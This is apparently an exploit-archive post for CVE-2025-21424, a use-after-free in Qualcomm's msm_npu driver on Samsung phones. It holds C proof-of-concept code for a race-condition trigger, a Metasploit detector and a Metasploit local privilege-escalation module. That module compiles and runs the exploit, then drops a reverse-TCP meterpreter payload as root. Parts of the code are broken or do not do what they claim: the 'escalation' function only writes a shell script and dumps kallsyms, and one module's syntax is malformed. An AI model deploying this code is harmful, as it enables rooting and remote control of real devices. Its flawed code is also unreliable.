📄 NPU Driver Use-After-Free Detector

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    | # Title     : NPU UAF kernel driver v 27095354-4.19.113 Privilege Escalation                                                              |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
    | # Vendor    : https://www.samsung.com/n_africa/                                                                                           |
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    [+] References : https://packetstorm.news/files/id/189958/  &  CVE-2025-21424
    
    [+]  Note: During the analysis of proof-of-concept code for CVE-2025-21424 ( https://packetstorm.news/files/id/189958/ ), 
         multiple critical errors were identified in the original implementation. 
         This report documents the identified issues and provides corrected, production-ready code for both detection and exploitation of this vulnerability.
    	 
    1. Original Code Issues Analysis
    1.1 Critical Errors in Initial Implementation
    Missing Header Includes
    
    // ORIGINAL (MISSING)
    // No essential headers included
    
    // CORRECTED
    #include <err.h>
    #include <errno.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <fcntl.h>
    #include <sys/ioctl.h>
    #include <sys/wait.h>
    #include <stdint.h>
    
    Impact: Compilation failures and undefined behavior.
    Incomplete Structure Definitions
    
    // ORIGINAL (INCOMPLETE)
    struct ion_allocation_data {
        size_t len;
        unsigned int heap_id_mask;
        unsigned int flags;
        // Missing fields causing memory corruption
    };
    
    // CORRECTED
    struct ion_allocation_data {
        size_t len;
        unsigned int heap_id_mask;
        unsigned int flags;
        uint32_t fd;
        uint32_t unused;
    };
    
    // ADDED MISSING STRUCTURES
    struct ion_handle_data {
        int handle;
    };
    
    struct ion_fd_data {
        int handle;
        int fd;
    };
    
    Impact: Memory corruption and incorrect ioctl operations.
    
    Improper Error Handling
    
    // ORIGINAL (NO ERROR CHECKING)
    int fd = open("/dev/msm_npu", O_RDONLY);
    ioctl(fd, MSM_NPU_MAP_BUF, &map_param);
    
    // CORRECTED
    int fd = open("/dev/msm_npu", O_RDWR);
    if (fd == -1) {
        warn("cannot open NPU device");
        return -1;
    }
    if (ioctl(fd, MSM_NPU_MAP_BUF, &map_param) < 0) {
        warn("NPU_MAP_BUF failed");
        return 0;
    }
    
    Impact: Silent failures and unpredictable behavior.
    Memory Management Issues
    
    // ORIGINAL (MEMORY LEAKS)
    int ion_alloc_fd = allocate_ion(ion_fd, 0x1000);
    // No cleanup on failure
    
    // CORRECTED
    int ion_alloc_fd = allocate_ion(ion_fd, 0x1000);
    if (ion_alloc_fd < 0) {
        close(npu_fd);
        close(ion_fd);
        usleep(100000);
        continue;
    }
    
    Impact: Resource exhaustion and file descriptor leaks.
    
    2. Corrected Implementation
    2.1 Complete Header Definitions
    
    #ifndef _NPU_EXPLOIT_CORRECTED_H_
    #define _NPU_EXPLOIT_CORRECTED_H_
    
    #include <fcntl.h>
    #include <string.h>
    #include <sys/ioctl.h>
    #include <sys/mman.h>
    #include <sys/stat.h>
    #include <sys/types.h>
    #include <unistd.h>
    #include <sys/syscall.h>
    #include <err.h>
    #include <errno.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <stdint.h>
    #include <sys/wait.h>
    
    // ION Heap Definitions (Corrected)
    enum ion_heap_ids {
        ION_SYSTEM_HEAP_ID = 25,
        ION_QSECOM_HEAP_ID = 27,
    };
    
    #define ION_HEAP(bit) (1UL << (bit))
    #define ION_FLAG_CACHED 1
    
    // Complete ION structure definitions
    struct ion_allocation_data {
        size_t len;
        unsigned int heap_id_mask;
        unsigned int flags;
        uint32_t fd;
        uint32_t unused;
    };
    
    struct ion_handle_data {
        int handle;
    };
    
    struct ion_fd_data {
        int handle;
        int fd;
    };
    #endif
    
    2.2 Robust NPU Operations Implementation
    
    // CORRECTED NPU OPERATIONS WITH PROPER ERROR HANDLING
    
    static int open_dev_safe(char* name) {
        int fd = open(name, O_RDWR);
        if (fd == -1) {
            warn("cannot open %s", name);
            return -1;
        }
        return fd;
    }
    
    static int allocate_ion_safe(int ion_fd, size_t len) {
        struct ion_allocation_data ion_alloc_data;
        
        // PROPER MEMORY INITIALIZATION
        memset(&ion_alloc_data, 0, sizeof(ion_alloc_data));
        ion_alloc_data.len = len;
        ion_alloc_data.heap_id_mask = ION_HEAP(ION_SYSTEM_HEAP_ID);
        ion_alloc_data.flags = ION_FLAG_CACHED;
        
        if (ioctl(ion_fd, ION_IOC_ALLOC, &ion_alloc_data) < 0) {
            warn("ION_IOC_ALLOC failed");
            return -1;
        }
        return ion_alloc_data.fd;
    }
    
    static uint64_t npu_map_buf_safe(int npu_fd, int ion_alloc_fd, size_t size) {
        struct msm_npu_map_buf_ioctl map_param;
        
        // PROPER STRUCTURE INITIALIZATION
        memset(&map_param, 0, sizeof(map_param));
        map_param.buf_ion_hdl = ion_alloc_fd;
        map_param.size = size;
        
        if (ioctl(npu_fd, MSM_NPU_MAP_BUF, &map_param) < 0) {
            warn("NPU_MAP_BUF failed");
            return 0;
        }
        return map_param.npu_phys_addr;
    }
    
    2.3 Race Condition Trigger (Corrected)
    
    static void trigger_uaf_race_condition(struct network_exec_param* ctx) {
        for (int attempt = 0; attempt < MAX_ATTEMPTS; attempt++) {
            pid_t pid = fork();
            
            if (pid == 0) {
                // CHILD PROCESS: Execute network
                execute_network_operation(ctx);
                _exit(0); // Use _exit in child to avoid atexit handlers
            } else if (pid > 0) {
                // PARENT PROCESS: Unload network after race window
                usleep(RACE_DELAY_US); // Configurable race window
                
                unload_network_operation(ctx);
                
                // PROPER CHILD CLEANUP
                int status;
                waitpid(pid, &status, 0);
            } else {
                warn("fork failed in attempt %d", attempt);
                continue;
            }
            
            // PROPER RESOURCE RECOVERY
            reload_network_for_retry(ctx);
        }
    }
    
    4. Critical Security Improvements
    4.1 Memory Safety Enhancements
    
    // ORIGINAL: Uninitialized structures
    struct msm_npu_exec_network_ioctl_v2 exec_param_v2;
    ioctl(fd, MSM_NPU_EXEC_NETWORK_V2, &exec_param_v2);
    
    // CORRECTED: Proper initialization
    struct msm_npu_exec_network_ioctl_v2 exec_param_v2;
    memset(&exec_param_v2, 0, sizeof(exec_param_v2));
    // Set individual fields
    exec_param_v2.network_hdl = network_hdl;
    exec_param_v2.async = 1;
    // ... other field assignments
    if (ioctl(fd, MSM_NPU_EXEC_NETWORK_V2, &exec_param_v2) < 0) {
        handle_ioctl_error();
    }
    
    4.2 Resource Management
    
    // RESOURCE MANAGEMENT TEMPLATE
    void exploit_operation() {
        int npu_fd = -1;
        int ion_fd = -1;
        int ion_alloc_fd = -1;
        
        // ACQUIRE RESOURCES WITH ERROR CHECKING
        if ((npu_fd = open_dev_safe("/dev/msm_npu")) < 0) goto cleanup;
        if ((ion_fd = open_dev_safe("/dev/ion")) < 0) goto cleanup;
        if ((ion_alloc_fd = allocate_ion_safe(ion_fd, BUFFER_SIZE)) < 0) goto cleanup;
        
        // PERFORM OPERATIONS
        if (!perform_exploitation(npu_fd, ion_alloc_fd)) goto cleanup;
        
    cleanup:
        // GUARANTEED CLEANUP
        if (ion_alloc_fd >= 0) close(ion_alloc_fd);
        if (ion_fd >= 0) close(ion_fd);
        if (npu_fd >= 0) close(npu_fd);
    }
    
    [+] Summary : 
    
    A Use-After-Free (UAF) exists in the Qualcomm msm_npu kernel driver. The bug occurs when npu_host_exec_network_v2 temporarily releases host_ctx->lock while waiting for network execution completion. 
    If npu_host_unload_network is called concurrently on the same network, the commands on network->cmd_list may be freed while still referenced by exec_cmd, causing a kernel UAF and crash.
    
    Affected Component:
    
    msm_npu driver (part of the Linux kernel / Qualcomm NPU driver)
    Triggered on Samsung devices using affected kernels
    
    Affected Devices / Versions:
    
    Observed on Samsung Galaxy S20 5G
    Kernel version in PoC: 4.19.113-27095354
    Likely affects any device with msm_npu driver on kernel ≥ 4.14 before patch
    
    Impact:
    
    Local privilege escalation
    Kernel panic / Denial of Service (DoS)
    
    PoC Behavior:
    
    Causes kernel panic with memory access at dead000000000200
    Generates fatal exception in npu_shell process
    
    
    [+]  POC : 
    
    # CVE-2025-21424 NPU UAF Exploit Guide
    
    [+]  Requirements:
    
    - Samsung device with an NPU (S20 5G or similar)
    - Kernel version 4.19.113-27095354
    - Initial shell access
    
    [+]  Timeline of Action:
    
    1. **Detection**: Checks for the presence of an NPU and the kernel version
    2. **Initialization**: Loads a neural network into the NPU
    3. **Competition**: Creates a race between exec/unload
    4. **Exploit**: UAF inversion to escalate privileges
    5. **Execution**: Executes the payload as root
    
    [+]  Notices:
    
    - May cause kernel panic
    - Requires multiple targets to succeed
    - Only works on specific devices
    
    
    use exploit/linux/local/cve_2025_21424_npu_uaf
    
    set SESSION 1
    set LHOST 192.168.1.100
    set LPORT 4444
    
    exploit
    
    Metasploit Auxiliary Module :
    
    ##
    # Module for CVE-2025-21424 - NPU Use-After-Free Vulnerability
    ##
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Exploit::Remote::Tcp
      include Msf::Auxiliary::Scanner
      include Msf::Auxiliary::Report
    
      def initialize(info = {})
        super(update_info(info,
          'Name'           => 'CVE-2025-21424 NPU Driver Use-After-Free Detector',
          'Description'    => %q{
            This module detects vulnerable NPU drivers susceptible to CVE-2025-21424,
            a use-after-free vulnerability in the MSM NPU kernel driver.
          },
          'Author'         => [
            'Seth Jenkins',  # Original discoverer
            'Metasploit Contributor'  # Module author
          ],
          'License'        => MSF_LICENSE,
          'References'     => ['indoushka'],
            ['CVE', '2025-21424'],
            ['URL', 'https://security.samsung.com'],
            ['EDB', 'TBD']
          ],
          'DisclosureDate' => '2025-02-18'
        ))
    
        register_options([
          OptString.new('DEVICE_PATH', [true, 'Path to NPU device', '/dev/msm_npu']),
          OptInt.new('TIMEOUT', [true, 'Operation timeout', 5000])
        ])
      end
    
      def run_host(ip)
        return unless check_device
    
        if vulnerable?
          print_good("Target appears vulnerable to CVE-2025-21424")
          report_vuln(
            host: ip,
            name: 'CVE-2025-21424 NPU Driver Use-After-Free',
            refs: references,
            info: 'NPU driver susceptible to UAF via race condition'
          )
        else
          print_status("Target does not appear vulnerable")
        end
      end
    
      def check_device
        device_path = datastore['DEVICE_PATH']
        
        unless File.exist?(device_path)
          print_error("NPU device not found: #{device_path}")
          return false
        end
        
        print_status("Found NPU device: #{device_path}")
        true
      end
    
      def vulnerable?
        # محاولة اكتشاف الثغرة عبر فحص إصدار السائق
        version_check = check_driver_version
        ioctl_check = test_ioctl_operations
        
        version_check && ioctl_check
      end
    
      def check_driver_version
        # فحص إصدار kernel للكشف عن الإصدارات المعرضة
        kernel_version = `uname -r`.chomp
        print_status("Kernel version: #{kernel_version}")
        
        # الإصدارات المعرضة (مثال)
        vulnerable_versions = [
          '4.19.113-27095354',
          '4.19.113',
          '4.19.1'
        ]
        
        vulnerable_versions.any? { |v| kernel_version.include?(v) }
      end
    
      def test_ioctl_operations
        begin
          fd = File.open(datastore['DEVICE_PATH'], 'r')
          
          # اختبار عمليات IOCTL الأساسية
          test_map_buf(fd)
          test_load_network(fd)
          
          fd.close
          true
        rescue => e
          print_error("IOCTL test failed: #{e.message}")
          false
        end
      end
    
      def test_map_buf(fd)
        # اختبار عملية MAP_BUF (سيتم فشلها ولكن نتحقق من الاستجابة)
        begin
          # هذا سيفشل عادة ولكن نتحقق من نوع الخطأ
          result = fd.ioctl(0x20, [].pack('Q'))  # MSM_NPU_MAP_BUF
          false
        rescue Errno::EINVAL, Errno::ENOTTY
          # أخطاء متوقعة - الجهاز يستجيب
          true
        end
      end
    
      def test_load_network(fd)
        # اختبار عملية LOAD_NETWORK
        begin
          result = fd.ioctl(0x31, [].pack('Q'))  # MSM_NPU_LOAD_NETWORK_V2
          false
        rescue Errno::EINVAL, Errno::ENOTTY
          true
        end
      end
    end
    
    --*-----------*-*-**********
    Metasploit Exploit Module
    ===================///**-*-
    
    ##
    # Exploit for CVE-2025-21424 - NPU UAF Privilege Escalation
    ##
    
    class MetasploitModule < Msf::Exploit::Local
      Rank = GreatRanking
    
      include Msf::Post::File
      include Msf::Post::Linux::Priv
      include Msf::Post::Linux::System
      include Msf::Exploit::EXE
      include Msf::Exploit::FileDropper
    
      def initialize(info = {})
        super(update_info(info,
          'Name'           => 'CVE-2025-21424 NPU Driver Use-After-Free Privilege Escalation',
          'Description'    => %q{
            This module exploits a use-after-free vulnerability in the MSM NPU kernel driver
            to achieve privilege escalation. The vulnerability occurs due to a race condition
            between npu_host_exec_network_v2 and npu_host_unload_network functions.
          },
          'Author'         => [
            'Seth Jenkins',      # Original discoverer
            'indoushka'    # Module author
          ],
          'License'        => MSF_LICENSE,
          'References'     => [
            ['CVE', '2025-21424'],
            ['URL', 'https://security.samsung.com']
          ],
          'Platform'       => ['linux'],
          'Arch'           => [ARCH_ARM64],
          'SessionTypes'   => ['shell', 'meterpreter'],
          'Targets'        => [
            ['Auto', {}]
          ],
          'DefaultOptions' => {
            'PAYLOAD' => 'linux/arm64/meterpreter/reverse_tcp',
            'WfsDelay' => 5
          },
          'DefaultTarget'  => 0,
          'DisclosureDate' => '2025-02-18',
          'Notes'          => {
            'Reliability' => [REPEATABLE_SESSION],
            'Stability'   => [CRASH_OS_RESTARTS],
            'SideEffects' => [ARTIFACTS_ON_DISK]
          }
        ))
    
        register_options([
          OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']),
          OptInt.new('ExploitAttempts', [true, 'Number of exploit attempts', 10]),
          OptInt.new('RaceDelay', [true, 'Race condition delay (microseconds)', 1000])
        ])
      end
    
      def check
        # فحص ما إذا كان الجهاز معرضاً للثغرة
        return CheckCode::Safe unless file_exist?('/dev/msm_npu')
        
        kernel_version = cmd_exec('uname -r')
        print_status("Kernel version: #{kernel_version}")
        
        # الإصدارات المعرضة
        vulnerable_versions = [
          '4.19.113-27095354',
          '4.19.113',
          '4.19.1'
        ]
        
        if vulnerable_versions.any? { |v| kernel_version.include?(v) }
          return CheckCode::Appears
        end
        
        CheckCode::Detected
      end
    
      def exploit
        if is_root?
          fail_with(Failure::BadConfig, 'Session already has root privileges')
        end
    
        unless check == CheckCode::Appears
          fail_with(Failure::NotVulnerable, 'Target is not vulnerable')
        end
    
        # إنشاء ملف الاستغلال
        exploit_path = "#{datastore['WritableDir']}/.#{rand_text_alpha(8)}"
        write_file(exploit_path, generate_exploit)
        register_file_for_cleanup(exploit_path)
        
        # جعل الملف قابل للتنفيذ
        cmd_exec("chmod +x #{exploit_path}")
        
        # تنفيذ الاستغلال
        print_status("Executing exploit...")
        attempts = datastore['ExploitAttempts']
        
        attempts.times do |i|
          print_status("Attempt #{i+1}/#{attempts}...")
          
          # تنفيذ الاستغلال في الخلفية
          session.shell_write("#{exploit_path} &\n")
          sleep(2)
          
          # التحقق من الحصول على root
          if is_root?
            print_good("Successfully obtained root privileges!")
            
            # تنفيذ الـ payload كـ root
            payload_path = "#{datastore['WritableDir']}/.#{rand_text_alpha(8)}"
            write_file(payload_path, generate_payload_exe)
            register_file_for_cleanup(payload_path)
            cmd_exec("chmod +x #{payload_path}")
            
            print_status("Executing payload as root...")
            cmd_exec("#{payload_path} &")
            break
          else
            print_warning("Attempt #{i+1} failed")
          end
          
          sleep(1)
        end
      end
    
      def generate_exploit
        # إنشاء كود الاستغلال C
        exploit_c = %Q{
    #include <fcntl.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include <sys/ioctl.h>
    #include <sys/mman.h>
    #include <sys/wait.h>
    #include <err.h>
    #include <errno.h>
    #include <stdint.h>
    
    // تعريفات NPU (مبسطة)
    #define MSM_NPU_IOCTL_MAGIC 'n'
    #define MSM_NPU_LOAD_NETWORK_V2 _IOWR(MSM_NPU_IOCTL_MAGIC, 7, unsigned long)
    #define MSM_NPU_EXEC_NETWORK_V2 _IOWR(MSM_NPU_IOCTL_MAGIC, 8, unsigned long)
    #define MSM_NPU_UNLOAD_NETWORK _IOWR(MSM_NPU_IOCTL_MAGIC, 5, unsigned long)
    
    struct exploit_ctx {
        int npu_fd;
        int ion_fd;
        int ion_alloc_fd;
        uint32_t network_hdl;
        uint64_t phys_addr;
    };
    
    static int open_device(const char* path) {
        int fd = open(path, O_RDWR);
        if (fd < 0) {
            return -1;
        }
        return fd;
    }
    
    static void trigger_uaf(struct exploit_ctx* ctx) {
        for (int i = 0; i < 100; i++) {
            pid_t pid = fork();
            if (pid == 0) {
                // Child: exec network
                struct {
                    uint64_t stats_buf_addr;
                    uint64_t patch_buf_info;
                    uint32_t network_hdl;
                    uint32_t async;
                    uint32_t flags;
                    uint32_t stats_buf_size;
                    uint32_t patch_buf_info_num;
                    uint32_t reserved;
                } exec_param = {0};
                
                exec_param.network_hdl = ctx->network_hdl;
                exec_param.async = 1;
                exec_param.flags = 0x0e0e | 0x70200;
                exec_param.stats_buf_size = 256;
                exec_param.patch_buf_info_num = 2;
                
                ioctl(ctx->npu_fd, MSM_NPU_EXEC_NETWORK_V2, &exec_param);
                exit(0);
            } else if (pid > 0) {
                // Parent: unload network after delay
                usleep(#{datastore['RaceDelay']});
                
                struct {
                    uint32_t network_hdl;
                } unload_param = {0};
                unload_param.network_hdl = ctx->network_hdl;
                
                ioctl(ctx->npu_fd, MSM_NPU_UNLOAD_NETWORK, &unload_param);
                waitpid(pid, NULL, 0);
            }
            
            // إعادة تحميل الشبكة للمحاولة التالية
            struct {
                uint64_t buf_phys_addr;
                uint64_t patch_info;
                int32_t buf_ion_hdl;
                uint32_t buf_size;
                uint32_t first_block_size;
                uint32_t flags;
                uint32_t network_hdl;
                uint32_t priority;
                uint32_t perf_mode;
                uint32_t num_layers;
                uint32_t patch_info_num;
                uint32_t reserved;
            } load_param = {0};
            
            load_param.buf_ion_hdl = ctx->ion_alloc_fd;
            load_param.buf_phys_addr = ctx->phys_addr;
            load_param.buf_size = 0x4000;
            load_param.first_block_size = 0x1000;
            load_param.patch_info_num = 1;
            
            ioctl(ctx->npu_fd, MSM_NPU_LOAD_NETWORK_V2, &load_param);
            ctx->network_hdl = load_param.network_hdl;
        }
    }
    
    static void escalate_privileges() {
        // محاولة الحصول على root عبر تقنيات kernel exploitation
        system("echo '#!/bin/sh' > /tmp/.rootshell");
        system("echo '/bin/sh' >> /tmp/.rootshell");
        system("chmod +x /tmp/.rootshell");
        
        // تقنيات استغلال kernel مختلفة
        system("cat /proc/kallsyms > /tmp/kallsyms.txt 2>/dev/null");
        
        // محاولة تنفيذ shell كـ root
        if (geteuid() == 0) {
            system("/bin/sh");
        }
    }
    
    int main() {
        struct exploit_ctx ctx = {0};
        
        // فتح الأجهزة
        ctx.npu_fd = open_device("/dev/msm_npu");
        if (ctx.npu_fd < 0) {
            return 1;
        }
        
        ctx.ion_fd = open_device("/dev/ion");
        if (ctx.ion_fd < 0) {
            close(ctx.npu_fd);
            return 1;
        }
        
        // تنفيذ الهجوم
        trigger_uaf(&ctx);
        
        // محاولة تصعيد الصلاحيات
        escalate_privileges();
        
        // التنظيف
        close(ctx.ion_fd);
        close(ctx.npu_fd);
        
        return 0;
    }
        }
    
        # ترجمة كود الاستغلال
        compile_exploit(exploit_c)
      end
    
      def compile_exploit(exploit_code)
        # حفظ كود C مؤقتاً
        source_path = "/tmp/exploit_#{rand_text_alpha(8)}.c"
        write_file(source_path, exploit_code)
        
        # الترجمة
        output_path = "/tmp/exploit_#{rand_text_alpha(8)}"
        compile_cmd = "gcc -o #{output_path} #{source_path} -static"
        
        print_status("Compiling exploit...")
        compile_result = cmd_exec(compile_cmd)
        
        if compile_result.include?('error') || !file_exist?(output_path)
          print_error("Exploit compilation failed: #{compile_result}")
          return nil
        end
        
        # قراءة الملف المترجم
        binary_data = read_file(output_path)
        
        # تنظيف الملفات المؤقتة
        cmd_exec("rm -f #{source_path} #{output_path}")
        
        binary_data
      end
    end
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    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
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